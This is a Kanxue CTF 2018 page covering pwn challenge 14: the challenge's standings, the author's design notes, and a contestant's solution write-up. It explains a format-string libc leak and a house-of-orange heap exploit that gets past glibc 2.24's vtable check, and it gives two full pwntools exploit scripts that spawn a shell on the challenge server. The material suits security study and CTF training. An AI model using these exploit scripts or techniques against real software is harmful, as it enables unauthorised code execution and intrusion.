- 看雪CTF.TSRC 2018 团队赛 第二题 『半加器』 解题
- 2019 KCTF Q2 防守篇征题正在火热进行中!
- 看雪CTF.TSRC 2018 团队赛 第十四题『 你眼中的世界
- 看雪CTF.TSRC 2018 团队赛 第一题 『初世纪』 解题
- 看雪CTF.TSRC 2018 团队赛 第三题 『七十二疑冢』
- 看雪CTF.TSRC 2018 团队赛 第十题『侠义双雄』 解题
- 看雪CTF.TSRC 2018 团队赛 第十二题『移动迷宫』 解
- 看雪CTF.TSRC 2018 团队赛 第九题『谍战』 解题思路
- 看雪CTF.TSRC 2018 团队赛 第七题 『魔法森林』 解
- 看雪CTF.TSRC 2018 团队赛 第四题 『盗梦空间』 解

第十四题《你眼中的世界》在今天(12月29日)中午12:00 结束攻击!共计十支团队攻破此题!其中,111new111 以 4454s 的成绩成为本题第一名!
本题结束后,防守团队排行榜如下:
最新赛况战况一览
第十四题之后,攻击方最新排名情况如下:
中午放题搬砖狗哭哭继续位列排行榜首席之位, tekkens保持第二名的成绩, n0body 和 fade-vivi强势进入Top 10!
倒数第二题结束后,已经刷新了Top 10 的候选人,那么最后一题决胜局是否会有其他惊喜呢?拭目以待!
第十四题 点评
crownless:
“你眼中的世界”是一道pwn题,而不是本次看雪CTF中多见的逆向题,体现了命题的多样性。程序功能很简单,会造成堆溢出,利用起来却比较复杂。
第十四题 出题团队简介
出题团队:ivanChen之队
第十四题 设计思路
由看雪论坛 ivanChen 原创
# echo from your heart
#
# **[Principle]**
format string,house of orange
#
# **[Purpose]**
Master the general process of PWN topics
#
# **[Environment]**
Ubuntu16.04
#
# **[Tools]**
gdb、objdump、python、pwntools
#
# **[Process]**
程序漏洞:
1. 格式化字符串漏洞
64位格式化字符串,开了FORTIFY_SOURCE机制,有几个特性:
1)包含%n的格式化字符串不能位于程序内存中的可写地址。
2)当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。
2. 堆溢出(house of orange)
gets这里可以无限写入直到\n为止,所以通过这个漏洞可以修改top_chunk,可以使用house of orange。
利用思路:
Libc-2.24中加入新的检验机制
***
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
***
所以不能通过之前的house of orange 思路getshell。
bypass the _IO_vtable_check:
利用是在_IO_list_all中的chain字段,伪造一个file结构体,然后修改chain为这个结构体的地址。之后在调用IO_flush_all_lockp函数的时候,这个结构体就会被调用。但是因为check了vtables,所以不能够任意提供一个伪造的vtable的地址,但是可以使用io_str_jumps 这个vtable。
完整绕过思路如下:
首先通过unsortedbin attack 改写_IO_list_all,使指针指向main_arena。在拆卸unsort_bin时候对属于small_bin的chunk进行了记录操作,覆盖smallbin偏移为0x60的位置,并且此位置正好为_IO_FILE 中_chain字段 在构造Fake_file结构时,将_IO_str_jumps-0x8位置填入vtable。这样可以当调用overflow时,调用_IO_str_finish。可以通过_IO_str_finish最终执行(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base)。
The full script is as follows.
exp.py
# -*- coding: utf-8 -*-
#!/usr/bin/env python2
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = True
if LOCAL:
p = process(['./echo_from_your_heart'],env={"LD_PRELOAD":"./libc-2.24.so"})
libc = ELF("./libc-2.24.so")
else:
p = remote('192.168.1.107',1337)
libc = ELF("./libc-2.24.so")
def printf(size,string):
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(string)
def main():
#leak_libc
payload = 7*"%p"+'aaa'+"%p "
printf(len(payload),payload)
p.recvuntil("aaa")
leak = p.recvuntil(" ")[:-1]
leak_addr = int(leak,16)
libc_base = leak_addr - (libc.symbols['__libc_start_main'] + 241) #2.23 240 2.24 241
io_list_all = libc_base + libc.symbols['_IO_list_all']
sys_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + next(libc.search('/bin/sh\x00'))
log.info("libc_base: {}".format(hex(libc_base)))
log.info("io_list_all: {}".format(hex(io_list_all)))
log.info("sys_addr: {}".format(hex(sys_addr)))
log.info("bin_addr: {}".format(hex(bin_addr)))
#overwrite topchunk
printf(0x80,'a'*0x80+p64(0)+p64(0xf51))
#trigger topchunk -> unsortedbin
printf(0x1000,'b'*0x80)
#vtable_addr = libc_base + 0x3be4c0 #_IO_str_jumps 2.24
vtable_addr = libc_base+libc.symbols['_IO_str_jumps']
chunk = p64(0) + p64(0x61) + p64(0) + p64(io_list_all-0x10)
chunk += p64(2) + p64(3) + p64(0) + p64(bin_addr)
chunk = chunk.ljust(0xd0,'\x00')
chunk += p64(0)
chunk += p64(vtable_addr-8)
chunk = chunk.ljust(0xe8,'\x00')
payload = chunk + p64(sys_addr)
printf(0x80,'c'*0x80+payload)
p.sendline("1")
p.interactive()
if __name__ == '__main__':
main()
原文链接:
https://bbs.pediy.com/thread-227074.htm
第十四题 你眼中的世界 解题思路
本题解析由看雪论坛 会飞的鱼油 原创。
程序功能分析
程序功能很简单,循环5次,通过sub_AF0函数获取输入的长度,然后分配相应大小的堆保存输入的word,最后输出。
使用shecksec查看有以下保护:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
漏洞分析
获取word的输入没有长度检查,可以造成堆溢出。word的输出会造成格式化字符串漏洞。
漏洞利用原理
1、通过格式化字符串漏洞泄漏出保存在栈中返回到__libc_start_main中的地址,从而可以计算出libc的基址。
2、利用堆溢出修改 top chunk 的大小,当不满足 malloc 的分配需求时,会通过sysmalloc 来向系统申请更多的空间 。对于堆来说有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,申请的大小不能超过默认的阈值也就是128k ,原有的top chunk就会被置于unsorted bin中 。top chunk的大小也会有合法性检测,检查如下:
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
所以伪造的大小必须要对齐到内存页, 大于 MINSIZE(0x10), 小于之后申请的堆块 且size 的 prev inuse 位必须为 1。
3、 利用FSOP (File Stream Oriented Programming)原理以及house of orange原理控制程序流程。 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中。FILE结构的定义如下:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base;/* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr;/* Current put pointer. */
char* _IO_write_end;/* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end;/* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base;/* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用libc中的全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。需要注意的是 stdin、stdout、stderr 这三个文件流位于 libc的数据段中。但是事实上_IO_FILE 结构位于另一种结构_IO_FILE_plus中, _IO_FILE_plus的定义如下:
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
其中包含了一个重要的指针 vtable,它指向了一系列函数指针, 标准 IO 函数中会调用这些函数指针 。
gdb-peda$ p _IO_file_jumps
$1 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7a8ed20 <_IO_new_file_finish>,
__overflow = 0x7ffff7a8f700 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a8f4b0 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a90560 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a91700 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7a8e5a0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a8e2b0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a8d8e0 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a90ad0 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a8d850 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a8d780 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a829b0 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a8e580 <__GI__IO_file_read>,
__write = 0x7ffff7a8df70 <_IO_new_file_write>,
__seek = 0x7ffff7a8dd70 <__GI__IO_file_seek>,
__close = 0x7ffff7a8d840 <__GI__IO_file_close>,
__stat = 0x7ffff7a8df60 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a91860 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a91870 <_IO_default_imbue>
}
因此直接改写 vtable 中的函数指针或者是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针就可以劫持程序流程 。该程序可以覆盖unsorted bin空闲块,修改bk指向_IO_list_all-0x10,同时布置fake file struct,然后分配堆块,触发unsorted bin attack 修改_IO_list_all指向main_arena+88,因为_chain域在_IO_list_all + 0x68的位置 ,也就是 main_arena + 88 + 0x68-->small bin中大小为0x60的位置,所以需要修改其大小为0x60 ,之后修改过的unsorted bin 会被放入 small bin [4]中,这样就可以伪造一个FILE结构,继续遍历unsorted bin会触发异常,调用malloc_printerr。调用栈如下:
malloc_printerr
_libc_message(error msg)
abort
_IO_flush_all_lockp -> JUMP_FILE(_IO_OVERFLOW)
_IO_flush_all_lockp函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的 _IO_OVERFLOW 。控制 _IO_OVERFLOW 函数便就可以拿到shell。 libc2.24版本的_IO_flush_all_lockp定义如下:
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)//合法性检查
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
}
所以伪造的结构体要满足(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)或者 (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) )。在 libc2.23 版本中可以直接修改伪造的vtable, 使得_IO_OVERFLOW=system_addr 。kkhaike大佬说该程序无法泄漏出堆顶地址 ,所以采用绕过libc2.24检查机制的方法来获取shell。libc2.24版本多了一个vtable合理性的检查机制,检查如下:
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
可以使用__IO_str_jumps和__IO_wstr_jumps进行绕过, 使用__IO_str_jumps 更为简单,如何定位 __IO_str_jumps 参考这篇文章。 __IO_str_jumps 定义如下:
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
可以利用其中的 _IO_str_finsh和_IO_str_overflow这两个函数的strops.c定义如下:
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //call qword ptr [fp+0E8h]
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
...
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//调用 ((char*)fp + 0xE0))(2 * v6 + 100),v6=fp->_IO_buf_end - fp->_IO_buf_base
...
}
}
...
}
因为调用(char*)fp+0xE8和(char*)fp + 0xE0,所以可以把这部分设置成system的地址。
EXP
exp是参考的这篇文章
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.25_pwn_hctf2017_babyprintf.md
from pwn import *
#context.log_level = 'debug'
io = remote("211.159.175.39", 8686)
libc = ELF('libc.2.23.so')
def prf(size, s):
io.sendlineafter(" word: ", str(size))
io.sendlineafter("word: ", s)
def overwrite_top():
payload = "A" * 16
payload += p64(0) + p64(0xfe1)# top chunk header
prf(0x10, payload)
def leak_libc():
global libc_base
prf(0x1000, '%p%p%p%p%p%p%p%pA')
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 240 #241
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info("libc_base address: 0x%x" % libc_base)
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
vtable_addr = libc_base + 0x3C37A0 #0x3be4c0 # _IO_str_jumps
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("vtable address: 0x%x" % vtable_addr)
stream = p64(0) + p64(0x61)# fake header # fp
stream += p64(0) + p64(io_list_all - 0x10)# fake bk pointer
stream += p64(0)# fp->_IO_write_base
stream += p64(1) # fp->_IO_write_ptr
#stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(0)# *2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64(bin_sh_addr)
stream += p64(0)#(bin_sh_addr - 100) / 2) # fp->_IO_buf_end
stream = stream.ljust(0xc0, '\x00')
stream += p64(0)# fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(vtable_addr - 8) # _IO_FILE_plus->vtable
payload += p64(0)
payload += p64(system_addr)
prf(0x10, payload)
def house_of_orange_():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
vtable_addr = libc_base + 0x3C37A0 # _IO_str_jumps
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("vtable address: 0x%x" % vtable_addr)
stream = p64(0) + p64(0x61)# fake header # fp
stream += p64(0) + p64(io_list_all - 0x10)# fake bk pointer
stream += p64(0)# fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64((bin_sh_addr - 100) / 2)# fp->_IO_buf_end
stream = stream.ljust(0xc0, '\x00')
stream += p64(0)# fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
payload += p64(system_addr)
prf(0x10, payload)
def pwn():
io.sendlineafter(" word: ", "0")
#io.sendline("0") # abort routine
io.interactive()
if __name__ == '__main__':
overwrite_top()
leak_libc()
house_of_orange()
pwn()
house_of_orange函数利用的是_IO_str_finsh, house_of_orange _函数利用的是_IO_str_overflow 。但是使用_IO_str_overflow并不成功,不知道是不是因为bin_sh_addr的地址是奇数的原因 。最后使用house_of_orange获得shell。
参考链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fake-vtable-exploit/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_orange/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fsop/
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.25_pwn_hctf2017_babyprintf.md
https://www.jianshu.com/p/1e45b785efc1
原文链接:
https://bbs.pediy.com/thread-248698.htm
第十五题【密码风云】正在火热进行中
第15题/共15题
《密码风云》将于 12月31 日中午 12:00 结束
赶紧参与进来吧~!
热门图书推荐:
合作伙伴
腾讯安全应急响应中心
TSRC,腾讯安全的先头兵,肩负腾讯公司安全漏洞、黑客入侵的发现和处理工作。这是个没有硝烟的战场,我们与两万多名安全专家并肩而行,捍卫全球亿万用户的信息、财产安全。一直以来,我们怀揣感恩之心,努力构建开放的TSRC交流平台,回馈安全社区。未来,我们将继续携手安全行业精英,探索互联网安全新方向,建设互联网生态安全,共铸“互联网+”新时代。
转载请注明:转自看雪学院
看雪CTF.TSRC 2018 团队赛 解题思路汇总:
看雪CTF.TSRC 2018 团队赛 第一题 『初世纪』 解题思路
看雪CTF.TSRC 2018 团队赛 第二题 『半加器』 解题思路
看雪CTF.TSRC 2018 团队赛 第三题 『七十二疑冢』 解题思路
看雪CTF.TSRC 2018 团队赛 第四题 『盗梦空间』 解题思路
看雪CTF.TSRC 2018 团队赛 第五题 『交响曲』 解题思路
看雪CTF.TSRC 2018 团队赛 第六题 『追凶者也』 解题思路
看雪CTF.TSRC 2018 团队赛 第七题 『魔法森林』 解题思路
看雪CTF.TSRC 2018 团队赛 第八题 『二向箔』 解题思路
看雪CTF.TSRC 2018 团队赛 第九题『谍战』 解题思路
看雪CTF.TSRC 2018 团队赛 第十题『侠义双雄』 解题思路
看雪CTF.TSRC 2018 团队赛 第十一题『伊甸园』 解题思路
网友评论